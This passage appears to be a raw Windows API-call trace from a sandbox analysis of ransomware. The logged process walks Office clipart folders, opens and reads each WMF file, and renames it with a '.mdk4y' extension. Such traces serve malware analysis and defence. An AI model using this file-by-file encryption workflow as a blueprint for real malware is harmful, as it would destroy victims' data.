Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.mdk4y")) returned 1 [0173.883] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.883] AreFileApisANSI () returned 1 [0173.883] GetACP () returned 0x4e4 [0173.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00734_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00734_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.883] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824911300000) returned 1 [0173.883] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x660, lpOverlapped=0x0) returned 1 [0173.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824912200000) returned 1 [0173.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824912200000) returned 1 [0173.893] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.mdk4y")) returned 1 [0173.894] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.894] AreFileApisANSI () returned 1 [0173.894] GetACP () returned 0x4e4 [0173.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00735_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00735_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.894] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824912400000) returned 1 [0173.894] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5cc, lpOverlapped=0x0) returned 1 [0173.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824912600000) returned 1 [0173.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824912600000) returned 1 [0173.896] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.mdk4y")) returned 1 [0173.897] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.897] AreFileApisANSI () returned 1 [0173.897] GetACP () returned 0x4e4 [0173.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00736_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00736_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.897] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824912800000) returned 1 [0173.898] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x184c, lpOverlapped=0x0) returned 1 [0173.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824912900000) returned 1 [0173.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824912900000) returned 1 [0173.899] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.mdk4y")) returned 1 [0173.900] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.900] AreFileApisANSI () returned 1 [0173.900] GetACP () returned 0x4e4 [0173.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00768_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00768_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.900] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824913100000) returned 1 [0173.901] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x543a, lpOverlapped=0x0) returned 1 [0173.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824913200000) returned 1 [0173.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824913200000) returned 1 [0173.902] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.mdk4y")) returned 1 [0173.903] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.903] AreFileApisANSI () returned 1 [0173.903] GetACP () returned 0x4e4 [0173.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00783_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00783_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.903] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824913300000) returned 1 [0173.903] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16ee, lpOverlapped=0x0) returned 1 [0173.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824913700000) returned 1 [0173.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824913700000) returned 1 [0173.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.mdk4y")) returned 1 [0173.908] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.908] AreFileApisANSI () returned 1 [0173.908] GetACP () returned 0x4e4 [0173.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00820_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00820_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.908] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824913900000) returned 1 [0173.909] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x41c2, lpOverlapped=0x0) returned 1 [0173.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824914000000) returned 1 [0173.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824914000000) returned 1 [0173.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.mdk4y")) returned 1 [0173.912] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.912] AreFileApisANSI () returned 1 [0173.912] GetACP () returned 0x4e4 [0173.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00828_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00828_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824914300000) returned 1 [0173.913] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x28ae, lpOverlapped=0x0) returned 1 [0173.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824915200000) returned 1 [0173.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824915200000) returned 1 [0173.922] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.mdk4y")) returned 1 [0173.924] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.924] AreFileApisANSI () returned 1 [0173.924] GetACP () returned 0x4e4 [0173.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00834_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00834_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.925] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824915500000) returned 1 [0173.925] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x36da, lpOverlapped=0x0) returned 1 [0173.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824915600000) returned 1 [0173.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824915600000) returned 1 [0173.927] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.mdk4y")) returned 1 [0173.927] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.927] AreFileApisANSI () returned 1 [0173.927] GetACP () returned 0x4e4 [0173.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00837_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00837_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.928] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824915900000) returned 1 [0173.929] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3fe8, lpOverlapped=0x0) returned 1 [0173.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824916000000) returned 1 [0173.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824916000000) returned 1 [0173.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.mdk4y")) returned 1 [0173.931] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.931] AreFileApisANSI () returned 1 [0173.931] GetACP () returned 0x4e4 [0173.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00910_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00910_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.931] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824916100000) returned 1 [0173.931] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1898, lpOverlapped=0x0) returned 1 [0173.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824916500000) returned 1 [0173.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824916500000) returned 1 [0173.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.mdk4y")) returned 1 [0173.936] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.936] AreFileApisANSI () returned 1 [0173.936] GetACP () returned 0x4e4 [0173.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00911_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00911_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.936] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824916600000) returned 1 [0173.936] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x29f8, lpOverlapped=0x0) returned 1 [0173.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824917300000) returned 1 [0173.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824917300000) returned 1 [0173.943] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.mdk4y")) returned 1 [0173.944] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.944] AreFileApisANSI () returned 1 [0173.944] GetACP () returned 0x4e4 [0173.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00913_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00913_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.944] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.947] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x28b4, lpOverlapped=0x0) returned 1 [0173.948] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.mdk4y")) returned 1 [0173.949] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.949] AreFileApisANSI () returned 1 [0173.949] GetACP () returned 0x4e4 [0173.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00914_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00914_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.949] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.950] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b0c, lpOverlapped=0x0) returned 1 [0173.951] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.mdk4y")) returned 1 [0173.952] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.952] AreFileApisANSI () returned 1 [0173.952] GetACP () returned 0x4e4 [0173.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00915_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00915_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.952] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.952] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bf8, lpOverlapped=0x0) returned 1 [0173.953] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.mdk4y")) returned 1 [0173.954] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.954] AreFileApisANSI () returned 1 [0173.954] GetACP () returned 0x4e4 [0173.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00916_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00916_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.954] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.955] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1270, lpOverlapped=0x0) returned 1 [0173.962] MoveFileA 